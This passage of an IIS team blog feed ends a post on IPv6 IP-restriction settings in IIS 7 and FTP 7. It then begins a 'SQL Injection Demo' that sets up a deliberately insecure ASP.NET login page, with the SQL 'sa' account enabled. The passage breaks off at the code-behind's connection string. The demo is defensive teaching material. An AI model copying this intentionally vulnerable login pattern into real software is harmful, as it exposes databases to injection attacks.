    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;add&lt;/span&gt; &lt;span class="attr"&gt;ipAddress&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;12.14.0.0&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;subnetMask&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;255.255.0.0&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;allowed&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;false&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;ipSecurity&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;style type="text/css"&gt;


.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;It is evident that a range for IPv6 in the schema above would be problematic, but for a single address, you could still use an IPv6 address and the comparison should work fine (theoretically). However, such an entry would have to be made directly in applicationHost.config and cannot be done through the configuration manager UI. Adding manual entries of this kind will show up in the configuration UI though. It is interesting to note the 255.255.255.255 subnet mask, which is obviously incorrect. I have yet to test this out thoroughly and document the behavior.&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen11_4.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="308" alt="Screen11" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen11_thumb_1.jpg" width="490" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;There are some additional details that are worth mentioning here.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Grant/Deny rules using 127.0.0.1 will automatically apply to both IPv4 and IPv6 address.&lt;/li&gt;

  &lt;li&gt;Also, 127.0.0.1 and ::1 can be used interchangeably and is protocol version agnostic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;h3&gt;&lt;font color="#008080"&gt;FTP Publishing Service for IIS 7.0&lt;/font&gt;&lt;/h3&gt;

&lt;p&gt;The new version of FTP (7.0) fully supports IPv6 besides supporting other marked improvements like SSL. Both IPv4 and IPv6 clients can connect to a server that could have either an IPv4 or IPv6 address.&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Note:&lt;/p&gt;

  &lt;p&gt;One major point of confusion that I should clarify here is that the version of FTP on the box with Windows Server 2008 is NOT FTP 7. It is in fact the older version. The new version of FTP shipped out of band and can be downloaded &lt;a href="http://iis.net/downloads/default.aspx?tabid=34&amp;amp;g=6&amp;amp;i=1619"&gt;here for x86&lt;/a&gt; version or &lt;a href="http://www.iis.net/downloads/default.aspx?tabid=34&amp;amp;g=6&amp;amp;i=1620"&gt;here for x64&lt;/a&gt; version.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;FTP has its own IP restriction list and even its configuration UI (which is integrated with IIS configuration) does not let you specify IPv6 addresses. Here is what you will see when you enter an IPv6 address.&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen12_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="423" alt="Screen12" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen12_thumb.jpg" width="457" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;In case you were wondering if IP restrictions is any different for FTP than for IIS, it's not. In fact, if you open up the same applicationHost.config file you will see a section like the one below.&lt;/p&gt;

&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;system.ftpServer&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    ...
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;security&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
        ...
        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;ipSecurity&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;add&lt;/span&gt; &lt;span class="attr"&gt;ipAddress&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;5.4.3.2&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;allowed&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;false&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;add&lt;/span&gt; &lt;span class="attr"&gt;ipAddress&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;234.123.10.1&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;subnetMask&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;255.255.0.0&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;allowed&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;false&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;ipSecurity&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;security&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;system.ftpServer&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;style type="text/css"&gt;

.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;And this is exactly the same schema as the one for IIS. So everything I mentioned above applies here as well.&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;h3&gt;&lt;font color="#008080"&gt;Miscellaneous&lt;/font&gt;&lt;/h3&gt;

&lt;p&gt;IIS 7.0's tracing and logging mechanisms are fully IPv6 aware as well. So whether you are generating Failed Request Traces or looking at the HTTP error logs, you will see IPv6 addresses. Even at an OS and programmability level there is much greater support for IPv6, which makes it easier to work with even from a developer's perspective.&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2335119" width="1" height="1"&gt;</description></item><item><title>SQL Injection Demo</title><link>http://blogs.iis.net/nazim/archive/2008/04/30/sql-injection-demo.aspx</link><pubDate>Wed, 30 Apr 2008 22:12:18 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2330990</guid><dc:creator>naziml</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2330990</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/04/30/sql-injection-demo.aspx#comments</comments><description>&lt;p&gt;SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Here are the ingredients for this demo:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;ASP.NET application using System.Data.SqlClient to access a SQL database.  &lt;li&gt;SQLExpress (or any other db) with some tool to directly author to the database. &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;CAUTION: This is a sample to demo SQLInjection and is hence unsecure. Do not use this sample as the basis for a web application.&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3&gt;&lt;font color="#008080"&gt;Setting up the Database&lt;/font&gt;&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Enable the sa account and gave it a password.  &lt;li&gt;Connect to the database with this account to make sure it works. You can use &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c243a5ae-4bd1-4e3d-94b8-5a0f62bf7796&amp;amp;displaylang=en"&gt;SQL Server Management Studio Express (SSMSE)&lt;/a&gt; to do this.  &lt;li&gt;Create a database called WebApp and create tables as follows. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/db_design_2.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="118" alt="db_design" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/SQLInjectionDemo_CBBB/db_design_thumb.jpg" width="276" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Populate the tables with sample data.  &lt;li&gt;Try running a few queries against through SSMSE to make sure things work, eg: &lt;/li&gt;&lt;/ul&gt; &lt;blockquote&gt; &lt;div align="left"&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; * &lt;span class="kwrd"&gt;FROM&lt;/span&gt; Users; &lt;span class="kwrd"&gt;SELECT&lt;/span&gt; * &lt;span class="kwrd"&gt;From&lt;/span&gt; Orders;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;style type="text/css"&gt;

.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;font color="#008080"&gt;Setting up a Web Application on your Server&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make sure IIS is running and that you can access the default page. 
&lt;li&gt;Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs) 
&lt;li&gt;Here is the sample ASP.NET page, &lt;strong&gt;SqlLoginUnsafe.aspx&lt;/strong&gt;. &lt;/li&gt;&lt;/ul&gt;
&lt;blockquote&gt;&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;&amp;lt;!--&lt;/span&gt;
&lt;span class="rem"&gt;    SQLLoginUnsafe.aspx&lt;/span&gt;
&lt;span class="rem"&gt;    Author: Nazim Lala&lt;/span&gt;
&lt;span class="rem"&gt;--&amp;gt;&lt;/span&gt;
&lt;span class="asp"&gt;&amp;lt;%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %&amp;gt;&lt;/span&gt;

&lt;span class="kwrd"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="html"&gt;DOCTYPE&lt;/span&gt; &lt;span class="attr"&gt;html&lt;/span&gt; &lt;span class="attr"&gt;PUBLIC&lt;/span&gt; &lt;span class="kwrd"&gt;"-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;/span&gt; 
    &lt;span class="kwrd"&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt; &lt;span class="attr"&gt;xmlns&lt;/span&gt;&lt;span class="kwrd"&gt;="http://www.w3.org/1999/xhtml"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;head&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;title&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;Untitled Page&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;title&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;head&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;body&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;form&lt;/span&gt; &lt;span class="attr"&gt;id&lt;/span&gt;&lt;span class="kwrd"&gt;="form1"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    
        This is the Unsafe SQL Login Page.&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
        Username:&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:TextBox&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="TextBoxUsername"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Width&lt;/span&gt;&lt;span class="kwrd"&gt;="200px"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:TextBox&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    Password:&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:TextBox&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="TextBoxPassword"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Width&lt;/span&gt;&lt;span class="kwrd"&gt;="200px"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:TextBox&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    Result:&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Label&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="LabelResult"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;="-"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:Label&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Button&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="ButtonLogin"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;onclick&lt;/span&gt;&lt;span class="kwrd"&gt;="ButtonLogin_Click"&lt;/span&gt; 
        &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;="Login"&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Label&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="LabelData"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;="Here is your Order history"&lt;/span&gt; 
        &lt;span class="attr"&gt;Visible&lt;/span&gt;&lt;span class="kwrd"&gt;="False"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:Label&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:GridView&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="GridView1"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Visible&lt;/span&gt;&lt;span class="kwrd"&gt;="False"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:GridView&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Button&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="ButtonLogout"&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;onclick&lt;/span&gt;&lt;span class="kwrd"&gt;="ButtonLogout_Click"&lt;/span&gt; 
        &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;="Logout"&lt;/span&gt; &lt;span class="attr"&gt;Visible&lt;/span&gt;&lt;span class="kwrd"&gt;="False"&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;form&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;body&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;html&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;

&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;
&lt;/blockquote&gt;
&lt;style type="text/css"&gt;.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }
&lt;/style&gt;

&lt;ul&gt;
&lt;li&gt;Here is the sample code-behind the ASP.Net page, &lt;strong&gt;SQLLoginUnsafe.aspx.cs&lt;/strong&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="csharpcode"&gt;&lt;br&gt;&amp;nbsp;&lt;/pre&gt;
&lt;blockquote&gt;&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;
&lt;span class="rem"&gt; * SQLLoginUnsafe.aspx.cs&lt;/span&gt;
&lt;span class="rem"&gt; * Author: Nazim Lala&lt;/span&gt;
&lt;span class="rem"&gt; * &lt;/span&gt;
&lt;span class="rem"&gt; */&lt;/span&gt;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web.UI;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web.UI.HtmlControls;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Web.UI.WebControls;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Data;
&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Data.SqlClient;

&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;partial&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; SQLLoginUnsafe : System.Web.UI.Page
{
    &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; _username;
    &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; _password;
    &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; _loggedIn = &lt;span class="kwrd"&gt;false&lt;/span&gt;;

    &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; _connString = 
        &lt;span class="str"&gt;@"Data Source=.\SQLEXPRESS;"&lt;/span&gt;+
        &lt;span class="str"&gt;"Initial Catalog=WebApp;"&lt;/span&gt;+
        &lt;span class="str"&gt;"Integrated Security=True;"&lt;/span&gt;;

